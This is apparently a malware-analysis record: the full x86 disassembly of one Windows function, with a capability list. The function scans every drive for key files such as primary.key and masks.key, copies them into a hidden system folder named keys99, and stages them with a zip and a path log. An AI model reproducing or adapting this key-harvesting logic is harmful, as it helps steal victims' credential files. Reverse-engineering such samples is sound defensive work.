Function at 0x1001d570
Capabilities:
Check if file exists
Copy file
Create directory
Get disk information
Get file attributes
Set current directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x734
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [esp + 0x1d]
push ebx
push eax
mov byte [esp + 0x24], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40c
lea ecx, [esp + 0x338]
push ebx
push ecx
mov dword [esp + 0x33c], ebx
call sub.MSVCRT.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_SetErrorMode]
add esp, 0xc
push 1
call esi
lea edx, [esp + 0x330]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
shr eax, 2
mov dword [esp + 0x10], eax
cmp eax, ebx
je 0x1001dfc6
push 1
call esi
movzx eax, ax
mov dword [esp + 0x14], eax
lea esp, [esp]
mov eax, dword [esp + 0x10]
lea eax, [esp + eax*4 + 0x32c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
test eax, eax
je 0x1001dfb0
mov eax, dword [esp + 0x10]
lea eax, [esp + eax*4 + 0x32c]
lea edx, [esp + 0x228]
sub edx, eax
mov edi, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x1001d620
lea ecx, [esp + 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x1001dfb0
push 0x1004a11c
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001d779
xor eax, eax
jmp 0x1001d660
mov cl, byte [eax + 0x10059d68]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x1001d660
push 0x1005c260
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005c260
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001d681
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001d691
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
lea edx, [esp + 0x1c]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push edx
call edi
test eax, eax
je 0x1001d6de
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001d6d7
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001d6e3
mov ecx, dword [str.keys99]
mov dx, word [0x1004a12c]
mov dword [eax], ecx
mov cl, byte [0x1004a12e]
mov word [eax + 4], dx
push 0
lea edx, [esp + 0x1c]
push edx
mov byte [eax + 6], cl
call edi
test eax, eax
je 0x1001d738
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001d731
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001d740
mov ecx, dword [str.header.key]
mov edx, dword [0x1004a134]
mov dword [eax], ecx
mov ecx, dword [0x1004a138]
mov dword [eax + 4], edx
push 0
lea edx, [esp + 0x1c]
push edx
push 0x1004a11c
mov dword [eax + 8], ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, 1
push 0x1004a13c
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001d8a9
xor eax, eax
nop
mov cl, byte [eax + 0x10059d68]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x1001d790
push 0x1005c260
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005c260
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001d7b1
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001d7c1
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
lea eax, [esp + 0x1c]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call edi
test eax, eax
je 0x1001d80e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001d807
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001d813
mov edx, dword [str.keys99]
mov cx, word [0x1004a12c]
mov dword [eax], edx
mov dl, byte [0x1004a12e]
mov word [eax + 4], cx
mov byte [eax + 6], dl
push 0
lea eax, [esp + 0x1c]
push eax
call edi
test eax, eax
je 0x1001d868
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001d861
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001d870
mov edx, dword [str.masks2.key]
mov ecx, dword [0x1004a14c]
mov dword [eax], edx
mov edx, dword [0x1004a150]
mov dword [eax + 4], ecx
mov dword [eax + 8], edx
push 0
lea eax, [esp + 0x1c]
push eax
push 0x1004a13c
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, 1
push 0x1004a154
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001d9e4
xor eax, eax
nop
mov cl, byte [eax + 0x10059d68]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x1001d8c0
push 0x1005c260
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005c260
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001d8e1
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001d8f1
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea ecx, [esp + 0x1c]
push ecx
call edi
test eax, eax
je 0x1001d93e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001d937
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001d943
mov ecx, dword [str.keys99]
mov dx, word [0x1004a12c]
mov dword [eax], ecx
mov cl, byte [0x1004a12e]
mov word [eax + 4], dx
push 0
lea edx, [esp + 0x1c]
push edx
mov byte [eax + 6], cl
call edi
test eax, eax
je 0x1001d998
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001d991
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001d9a0
mov ecx, dword [str.masks.key]
mov edx, dword [0x1004a164]
mov dword [eax], ecx
mov cx, word [0x1004a168]
mov dword [eax + 4], edx
mov dl, byte [0x1004a16a]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
push 0
lea eax, [esp + 0x1c]
push eax
push 0x1004a154
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, 1
push str.name.key
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001db1b
xor eax, eax
lea ebx, [ebx]
mov cl, byte [eax + 0x10059d68]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x1001da00
push 0x1005c260
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005c260
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001da21
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001da31
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea ecx, [esp + 0x1c]
push ecx
call edi
test eax, eax
je 0x1001da7e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001da77
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001da83
mov ecx, dword [str.keys99]
mov dx, word [0x1004a12c]
mov dword [eax], ecx
mov cl, byte [0x1004a12e]
mov word [eax + 4], dx
push 0
lea edx, [esp + 0x1c]
push edx
mov byte [eax + 6], cl
call edi
test eax, eax
je 0x1001dad8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001dad1
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001dae0
mov ecx, dword [str._name.key]
mov edx, dword [0x1004a170]
mov dword [eax], ecx
mov cx, word [0x1004a174]
mov dword [eax + 4], edx
push 0
lea edx, [esp + 0x1c]
push edx
push str.name.key
mov word [eax + 8], cx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, 1
push 0x1004a178
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001dc54
xor eax, eax
mov cl, byte [eax + 0x10059d68]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x1001db31
push 0x1005c260
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005c260
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001db52
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001db62
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
lea eax, [esp + 0x1c]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call edi
test eax, eax
je 0x1001dbaf
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001dba8
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001dbb4
mov edx, dword [str.keys99]
mov cx, word [0x1004a12c]
mov dword [eax], edx
mov dl, byte [0x1004a12e]
mov word [eax + 4], cx
mov byte [eax + 6], dl
push 0
lea eax, [esp + 0x1c]
push eax
call edi
test eax, eax
je 0x1001dc09
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001dc02
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov edi, edi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001dc10
mov edx, dword [str.primary2.key]
mov ecx, dword [0x1004a18c]
mov dword [eax], edx
mov edx, dword [0x1004a190]
mov dword [eax + 4], ecx
mov cx, word [0x1004a194]
mov dword [eax + 8], edx
push 0
lea edx, [esp + 0x1c]
push edx
push 0x1004a178
mov word [eax + 0xc], cx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, 1
push 0x1004a198
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001dd94
xor eax, eax
lea ebx, [ebx]
mov cl, byte [eax + 0x10059d68]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x1001dc70
push 0x1005c260
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005c260
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001dc91
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001dca1
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
lea eax, [esp + 0x1c]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call edi
test eax, eax
je 0x1001dcee
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001dce7
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001dcf3
mov edx, dword [str.keys99]
mov cx, word [0x1004a12c]
mov dword [eax], edx
mov dl, byte [0x1004a12e]
mov word [eax + 4], cx
mov byte [eax + 6], dl
push 0
lea eax, [esp + 0x1c]
push eax
call edi
test eax, eax
je 0x1001dd48
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001dd41
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001dd50
mov edx, dword [str.primary.key]
mov ecx, dword [0x1004a1a8]
mov dword [eax], edx
mov edx, dword [0x1004a1ac]
mov dword [eax + 4], ecx
mov cl, byte [0x1004a1b0]
mov dword [eax + 8], edx
push 0
lea edx, [esp + 0x1c]
push edx
push 0x1004a198
mov byte [eax + 0xc], cl
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, 1
jmp 0x1001dd9c
test ebx, ebx
je 0x1001dfb0
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x10059d68]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x1001dda0
push 0x1005c260
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005c260
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001ddc1
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001ddd1
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x1001de1c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001de15
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001de21
mov edx, dword [str.keys99.zip]
mov ecx, dword [0x1004a1b8]
mov dword [eax], edx
mov dx, word [0x1004a1bc]
mov dword [eax + 4], ecx
mov cl, byte [0x1004a1be]
mov word [eax + 8], dx
mov byte [eax + 0xa], cl
xor eax, eax
mov cl, byte [eax + 0x10059d68]
mov byte [esp + eax + 0x120], cl
inc eax
test cl, cl
jne 0x1001de50
push 0x1005c260
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005c260
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001de74
lea edi, [esp + 0x120]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001de87
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x120]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001dea5
mov edx, dword [str.keys99]
mov cx, word [0x1004a12c]
mov dword [eax], edx
mov dl, byte [0x1004a12e]
mov word [eax + 4], cx
mov byte [eax + 6], dl
lea eax, [esp + 0x120]
push eax
lea ecx, [esp + 0x1c]
push ecx
call fcn.10029b30
test eax, eax
je 0x1001dfb0
lea edx, [esp + 0x120]
push edx
call fcn.10007680
xor eax, eax
mov cl, byte [eax + 0x10059d68]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x1001def2
push 0x1005c260
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005c260
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001df13
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001df23
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x18]
rep movsb byte es:[edi], byte [esi]
dec eax
mov edi, edi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001df40
mov ecx, dword [str.path99.txt]
mov edx, dword [0x1004a1c4]
mov dword [eax], ecx
mov cx, word [0x1004a1c8]
mov dword [eax + 4], edx
mov dl, byte [0x1004a1ca]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
mov eax, dword [esp + 0x10]
lea eax, [esp + eax*4 + 0x32c]
lea edx, [esp + 0x120]
sub edx, eax
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x1001df81
lea eax, [esp + 0x120]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001df95
sub eax, edx
push eax
lea eax, [esp + 0x124]
push eax
lea eax, [esp + 0x20]
call fcn.10007350
dec dword [esp + 0x10]
jne 0x1001d5f0
movzx ecx, word [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret